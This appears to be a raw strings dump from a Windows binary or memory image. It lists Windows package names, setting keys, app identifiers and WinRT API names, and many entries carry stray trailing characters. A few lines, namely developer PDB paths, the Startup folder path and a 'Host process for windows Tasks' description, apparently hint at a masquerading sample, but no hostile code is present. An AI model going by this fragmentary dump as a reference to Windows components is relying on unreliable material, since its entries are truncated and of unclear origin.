Microsoft-Windows-msmq-server-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-msmq-triggers-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-msmq-triggers-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-NetFx2-OC-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-NetFx2-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-NFS-ClientLocalUI-D-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-NFS-ClientLocalUI-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-PAW-merged-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-PAW-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-PAW-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-PAW-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Presentation-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Presentation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Printing-LPDPrintService-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Printing-LPDPrintService-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Printing-LPRPortMonitor-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Printing-LPRPortMonitor-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Printing-XpsDocumentWriter-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-Printing-XpsDocumentWriter-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-SimpleTCP-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-SimpleTCP-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-SMB1Client-D-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-SMB1Client-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-SMB1Deprecation-Group-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-SMB1Deprecation-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-SMB1Server-D-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-SMB1Server-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-StepsRecorder-Package~31bf3856ad364e35~wow64~en-US~0.0.0.0
Microsoft-Windows-StepsRecorder-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1
Microsoft-Windows-VBSCRIPT-FoD-Package~31bf3856ad364e35~wow64~en-US~0.0.0.0
Microsoft-Windows-VBSCRIPT-FoD-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1X
Microsoft-WindowsCore-Network-FlowSteering-merged-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-WindowsCore-Network-FlowSteering-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-WindowsCore-Network-FlowSteering-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-WindowsCore-Network-FlowSteering-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-WindowsCore-Network-FlowSteering-Policies-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-WindowsCore-Network-FlowSteering-Policies-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Windows.Data.About
Windows.Data.Accessibility.EyeControl.SyncedSettings
Windows.Data.Accessibility.Keyboard.SyncedSettings
Windows.Data.Accessibility.Magnifier.SyncedSettings
Windows.Data.Accessibility.Narrator.SyncedSettings
Windows.Data.Account.SecondaryAccounts
Windows.Data.ActiveKeyboardList
Windows.Data.Apps.AppCompatInfo
Windows.Data.Apps.AppCompatProviderResults
Windows.Data.Apps.AppLevelTileInfo
Windows.Data.Apps.AppMatchingInfo
Windows.Data.Apps.AppMetaData
Windows.Data.Apps.DeviceMetaData
Windows.Data.Apps.PackagedProducts
Windows.Data.Apps.TileMatchingInfo
Windows.Data.Apps.UnpackagedProducts
Windows.Data.AppSettings.Info
Windows.Data.Background.DesktopWallpaper
Windows.Data.BlueLightReduction.BlueLightReductionState
Windows.Data.BlueLightReduction.BlueLightReductionStatePerDevice
Windows.Data.BlueLightReduction.Settings
Windows.Data.BlueLightReduction.SettingsPerDevice
Windows.Data.Calling.CallFavorites
Windows.Data.Calling.CallFavoritesLocalCache
Windows.Data.Calling.CallHistory
Windows.Data.Calling.CallHistoryItem
Windows.Data.Calling.CallHistoryLocalCache
Windows.Data.Calling.Settings
Windows.Data.Calling.SettingsLocalCache
Windows.Data.Consent.ConsentItem
Windows.Data.ContrastThemes.SynchedTheme
Windows.Data.ControlCenter.QuickActionUsageCountMap
Windows.Data.ControlCenter.UIState
Windows.Data.ControlCenter.UsageCount
Windows.Data.CuratedTileCollection.Group
Windows.Data.CuratedTileCollection.Root
Windows.Data.CuratedTileCollection.RootCollection
Windows.Data.CuratedTileCollection.Tile
Windows.Data.CuratedTileCollection.TileCollection
Windows.Data.CuratedTileCollection.TileCollectionContainer
Windows.Data.DoNotDisturb.QuietHoursProfile
Windows.Data.DoNotDisturb.QuietHoursSettings
Windows.Data.DoNotDisturb.QuietMoment
Windows.Data.ExternalDisplayModeSettings
Windows.Data.FileExplorerClassic.AdvancedSettings
Windows.Data.FileExplorerClassic.CabinetStateSettings
Windows.Data.FileExplorerClassic.ExplorerSettings
Windows.Data.FileExplorerClassic.RegistrySettings
Windows.Data.FileExplorerClassic.SearchSettings
Windows.Data.FileExplorerClassic.ShellStateSettings
Windows.Data.Globalization.Culture.CultureSettings
Windows.Data.Globalization.LanguageSettings
Windows.Data.HomeScreenBackground.Configuration
Windows.Data.HomeScreenBackground.LandScapeTransform
Windows.Data.HomeScreenBackground.PotraitTransform
Windows.Data.Input.Devices.MouseSettings
Windows.Data.Input.Devices.MouseSyncedSettings
Windows.Data.Input.Devices.PenSettings
Windows.Data.Input.Devices.PenSyncedSettings
Windows.Data.Input.Devices.TouchpadSettings
Windows.Data.Input.Devices.TouchpadSyncedSettings
Windows.Data.Input.Devices.TouchSettings
Windows.Data.Input.HistoryFiles
Windows.Data.Input.InkAndPen.InkPlatformSettings
Windows.Data.Input.InkAndPen.PenSettingShortcuts
Windows.Data.Input.InkAndPen.ShellHandwriting
Windows.Data.Input.PersonalWords.WordsUsage
Windows.Data.Input.RadialControllerSettings
Windows.Data.Input.RadialControllerSettingsCache
Windows.Data.Input.Text.LanguageUnigramList
Windows.Data.Input.Text.RoamingDictionary
Windows.Data.Input.Text.SpellerDictionary
Windows.Data.InputSettings
Windows.Data.InternetExplorer.AutoComplete
Windows.Data.InternetExplorer.BrowserHistory
Windows.Data.InternetExplorer.Favorites
Windows.Data.InternetExplorer.TabRoaming
Windows.Data.InternetExplorer.TypedURLs
Windows.Data.KeycodeMFUs
Windows.Data.LockScreen.LockScreenPhoneLegacy
Windows.Data.LockScreenSettings.DesktopLockScreen
Windows.Data.LunarCalendar
Windows.Data.LunarCalendarPerDevice
Windows.Data.Messaging.Settings
Windows.Data.Messaging.SettingsLocalCache
Windows.Data.NavigationBar
Windows.Data.NetworkUX.Cellular.CellularSettings
Windows.Data.NetworkUX.VPN.VPNSharingSettings
Windows.Data.NetworkUX.Wifi.WiFiPrivacySettings
Windows.Data.Nlm.NlmSignature
Windows.Data.Notifications.QuietHoursProfile
Windows.Data.Notifications.QuietHoursSettings
Windows.Data.Notifications.QuietMoment
Windows.Data.PeopleShareTarget.MRUPeopleShareApps
Windows.Data.Personalization
Windows.Data.PlaceholderTileCollection
Windows.Data.PlaceholderTileCollectionLocal
Windows.Data.PlaceholderTileLogo
Windows.Data.Platform.BackupRestore.DeviceProfile
Windows.Data.Platform.Diagnostics.DiagnosticCollectionItemData
Windows.Data.Platform.Diagnostics.DiagnosticData
Windows.Data.Platform.Diagnostics.DiagnosticDeviceData
Windows.Data.Platform.Diagnostics.DiagnosticSecureData
Windows.Data.Platform.Diagnostics.DiagnosticSingletonData
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileData
Windows.Data.Platform.Encryption.StructureValue
Windows.Data.Platform.Partitioning.ActivePartitions
Windows.Data.Platform.Partitioning.DevicePartitions
Windows.Data.Platform.Partitioning.PartitionIndex
Windows.Data.Platform.Partitioning.SystemPartitionIndex
Windows.Data.PrivacyScreen
Windows.Data.QuickActions.ControlCenterSettings
Windows.Data.QuickActions.QuickAction
Windows.Data.QuickActions.QuickActionGroup
Windows.Data.QuickActions.QuickActionLayout
Windows.Data.SampleMetadata.SampleData
Windows.Data.SampleMetadata.SampleDataCollection
Windows.Data.SampleMetadata.SampleDataItem
Windows.Data.Security.Vault.WebCredentials
Windows.Data.Settings.DateTimeSettings.TimeZone
Windows.Data.Settings.DisplaySettings.MultipleDisplays
Windows.Data.Settings.LunarCalendarSettings.LunarCalendar
Windows.Data.Settings.MultiTasking.MultiTaskDesktop
Windows.Data.Settings.MultiTasking.MultiTaskOthers
Windows.Data.Settings.MultiTasking.SnapWindows
Windows.Data.Settings.PrivacySettings.DeviceSettings
Windows.Data.Settings.SettingsRanking
Windows.Data.Settings.SettingsUsageHistory
Windows.Data.Settings.Voice.VoiceSystemSettings
Windows.Data.SettingsBackup.BackupUnitStore
Windows.Data.SharePicker.MRUList
Windows.Data.Shell.FocusActiveSessions
Windows.Data.Shell.FocusSessionActiveTheme
Windows.Data.Shell.FocusSessionOffTheme
Windows.Data.Signals.Registrations
Windows.Data.Sounds
Windows.Data.TextInputProcessorCollection
Windows.Data.TouchKeyboard
Windows.Data.UnifiedTile.CollectionPropertiesContainer
Windows.Data.UnifiedTile.CuratedTileCollectionsManagerData
Windows.Data.UnifiedTile.GamesListTileProperties
Windows.Data.UnifiedTile.LocalStartGlobalProperties
Windows.Data.UnifiedTile.LocalStartTileProperties
Windows.Data.UnifiedTile.LocalStartTilePropertiesContainer
Windows.Data.UnifiedTile.LocalStartTilePropertiesMap
Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
Windows.Data.UnifiedTile.RoamedTilePropertiesMap
Windows.Data.UnifiedTile.StartCollectionProperties
Windows.Data.UnifiedTile.StartGlobalProperties
Windows.Data.UnifiedTile.StartTileProperties
Windows.Data.UnifiedTile.TileProperties
Windows.Data.UnifiedTile.TilePropertiesContainer
Windows.Data.WiFi.WiFiProfile
Windows.Data.WiFi.WiFiProfileCost
Windows.Data.WindowsBackup.Preference.Toggles
Windows.Data.WindowsUpdate.WuAdvancedOptions
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.PPIWelcome_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
microsoft.windowscommunicationsapps_8wekyb3d8bbwe
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.PPIWelcome_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
microsoft.windowscommunicationsapps_8wekyb3d8bbwe
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
microsoft.windowscommunicationsapps_8wekyb3d8bbwe
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
microsoft.windowscommunicationsapps_8wekyb3d8bbwe
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
microsoft.windowscommunicationsapps_8wekyb3d8bbwe
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
microsoft.windowscommunicationsapps_8wekyb3d8bbwe
windows.immersivecontrolpanel_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.CallingShellApp_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy
Microsoft.Windows.ShellCommonExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
microsoft.windowscommunicationsapps_8wekyb3d8bbwe
windows.immersivecontrolpanel_cw5n1h2txyewy
microsoft.windowscommunicationsapps_8wekyb3d8bbwe
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.Photos_8wekyb3d8bbwe
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy
Microsoft.Windows.PPISkype_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
Microsoft.WindowsCamera_8wekyb3d8bbwe
MicrosoftWindows.CrossDevice_cw5n1h2txyewy
Windows.CBSPreview_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
C:\Windows\System32\WlanExt.exea
C:\Windows\System32\BackgroundTaskHost.exe2\Ctfm
C:\Windows\System32\Ctfmon.exee
C:\Windows\System32\DllHost.exee
C:\Windows\System32\ShellHost.exe.exe
RequireWindowsCert
Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy
Microsoft.Windows.ParentalControls_cw5n1h2txyewy
Microsoft.Windows.SecHealthUI_cw5n1h2txyewy
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
Windows.ContactSupport_cw5n1h2txyewy
Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
Windows.ImmersiveControlPanel_cw5n1h2txyewy
Microsoft.Windows.Photos_8wekyb3d8bbwe
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
Microsoft.WindowsCamera_8wekyb3d8bbwe
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy
Microsoft.Windows.PPISkype_cw5n1h2txyewy
Microsoft.WindowsCamera_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy
Windows.ImmersiveControlPanel_cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy
Microsoft.Windows.ParentalControls_cw5n1h2txyewy
Microsoft.Windows.SecHealthUI_cw5n1h2txyewy
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
Windows.ContactSupport_cw5n1h2txyewy
Microsoft.Windows.Search_cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
MicrosoftWindows.Search_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
Microsoft.Windows.AppRep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe
Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy
Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewyQ
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy
windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy
Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy
Microsoft.Windows.AugLoop.CBS_8wekyb3d8bbwe
Microsoft.Windows.CapturePicker_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy
Microsoft.Windows.ParentalControls_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.TabExperienceHost_cw5n1h2txyewy
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy
microsoft.windowscommunicationsapps_8wekyb3d8bbwe
Microsoft.WindowsNotepad_8wekyb3d8bbwe
Microsoft.WindowsStore_8wekyb3d8bbwe
Microsoft.WindowsTerminal_8wekyb3d8bbwe
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy
Windows.CBSPreview_cw5n1h2txyewy
Windows.PrintDialog_cw5n1h2txyewy
Microsoft-Windows-Activation
com.microsoft.windows.applicationmodel.conversationalagent_v1
com.microsoft.windows.applicationmodel.phonelinetransportdevice_v1
com.microsoft.windows.applicationwindow
com.microsoft.windows.focussessionmanager.1
com.microsoft.windows.geolocationprovider
com.microsoft.windows.internetexplorer.iemode
com.microsoft.windows.richeditmath
com.microsoft.windows.shell.sharewindowcommandsource_v1
com.microsoft.windows.system.remotedesktop.provider_v1
com.microsoft.windows.ui.notifications.preview.toastOcclusionManagerPreview
com.microsoft.windows.updateorchestrator.1
com.microsoft.windows.windowdecorations
root\CIMV2\Applications\WindowsParentalControls:Win32_ProviderEx.Name="WpcSProv"
DontSyncWindows8AppSettings
Windows8AppList
Microsoft.Windows.Photos_8wekyb3d8bbwe
Microsoft.WindowsMaps_8wekyb3d8bbwe
microsoft.windowsphotos_8wekyb3d8bbwe
WindowsSettings
^c:\users\admin\source\repos\wahdani\wahdani\obj\debug\wahdani.pdbc:\users\admin\source\repos\windowsapp25\windowsapp25\obj\debug\windowsapp25.pdb.my.resources.form1.resourcesnomcles
Microsoft\Windows\Start Menu\Programs\Startup\
Host process for windows TasksH
Microsoft.Windows.DataExchange
SystemSettings_Camera_WindowsHelloLink
SystemSettings_CapabilityAccess_Camera_WindowsAndServicesGlobal
SystemSettings_CapabilityAccess_Camera_WindowsAndServicesList
Microsoft.Windows.Ast.Rpc
Microsoft.Windows.Wil.FeatureLogging
WindowsCompareStringOrdinal
WindowsConcatString
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsDeleteStringBuffer
WindowsDuplicateString
WindowsGetStringLen
WindowsGetStringRawBuffer
WindowsInspectString
WindowsInspectString2
WindowsIsStringEmpty
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
WindowsReplaceString
WindowsStringHasEmbeddedNull
WindowsSubstring
WindowsSubstringWithSpecifiedLength
WindowsTrimStringEnd
WindowsTrimStringStart
GetSystemWindowsDirectoryW
api-ms-win-core-windowserrorreporting-l1-1-0.dll
() + "windows
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Security.MitigationPolicy
Microsoft.Windows.Security.IsolationApi
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
SystemSettings_CapabilityAccess_Location_WindowsAndServicesGlobal
SystemSettings_CapabilityAccess_Location_WindowsAndServicesList
SystemSettings_CapabilityAccess_Microphone_WindowsAndServicesGlobal
SystemSettings_CapabilityAccess_Microphone_WindowsAndServicesList
SystemSettings_Connections_WindowsFirewall_Link
SystemSettings_Cortana_WindowsSearch_AddExclusion
SystemSettings_Cortana_WindowsSearch_AdvancedOptionsLink
SystemSettings_Cortana_WindowsSearch_ExclusionList
SystemSettings_Cortana_WindowsSearch_FindMyFiles
SystemSettings_Cortana_WindowsSearch_IndexerPerformanceToggleSwitch
SystemSettings_Cortana_WindowsSearch_Status
SystemSettings_Cortana_WindowsSearch_Status_Completed
SystemSettings_Cortana_WindowsSearch_Status_Pending
SystemSettings_Cortana_WindowsSearch_TroubleshooterLink
SystemSettings_DefaultPrinterManagedByWindows
SystemSettings_Misc_RollbackYourPC_Windows10
SystemSettings_Misc_RollbackYourPC_Windows10Disabled
SystemSettings_Misc_RollbackYourPC_Windows7
SystemSettings_Misc_RollbackYourPC_Windows7Disabled
SystemSettings_Misc_RollbackYourPC_Windows8
SystemSettings_Misc_RollbackYourPC_Windows8Disabled
SystemSettings_Misc_RollbackYourPC_Windows8_1
SystemSettings_Misc_RollbackYourPC_Windows8_1Disabled
SystemSettings_MusUpdate_AllowAutoWindowsUpdateDownloadOverMeteredNetwork
SystemSettings_MusUpdate_WindowsInsider
SystemSettings_Notifications_WindowsTipEnabled
SystemSettings_Optional_Features_LegacyWindowsFeatures_Link
SystemSettings_PCSystem_WindowsActivationLink
SystemSettings_PCSystem_WindowsActivationStatus
SystemSettings_PCSystem_WindowsExperience_DisplayName
SystemSettings_PCSystem_WindowsPartialPKey
SystemSettings_PCSystem_WindowsProductId
SystemSettings_PCSystem_WindowsServicePackStatus
SystemSettings_PCSystem_WindowsSubscriptionStatus
SystemSettings_PCSystem_WindowsSubscriptionStatusRejuv
SystemSettings_PCSystem_WindowsVersionStatus
SystemSettings_SyncSettings_Windows_Toggle
SystemSettings_SyncSettings_Windows_Toggle2
SystemSettings_WindowsAnywhereSetting_MasterToggle
SystemSettings_WindowsDefenderSecurityCenter_ShieldProviderCollection
SystemSettings_WindowsDefender_UseWindowsDefender
SystemSettings_WindowsProtectedPrintMode
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwesof
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
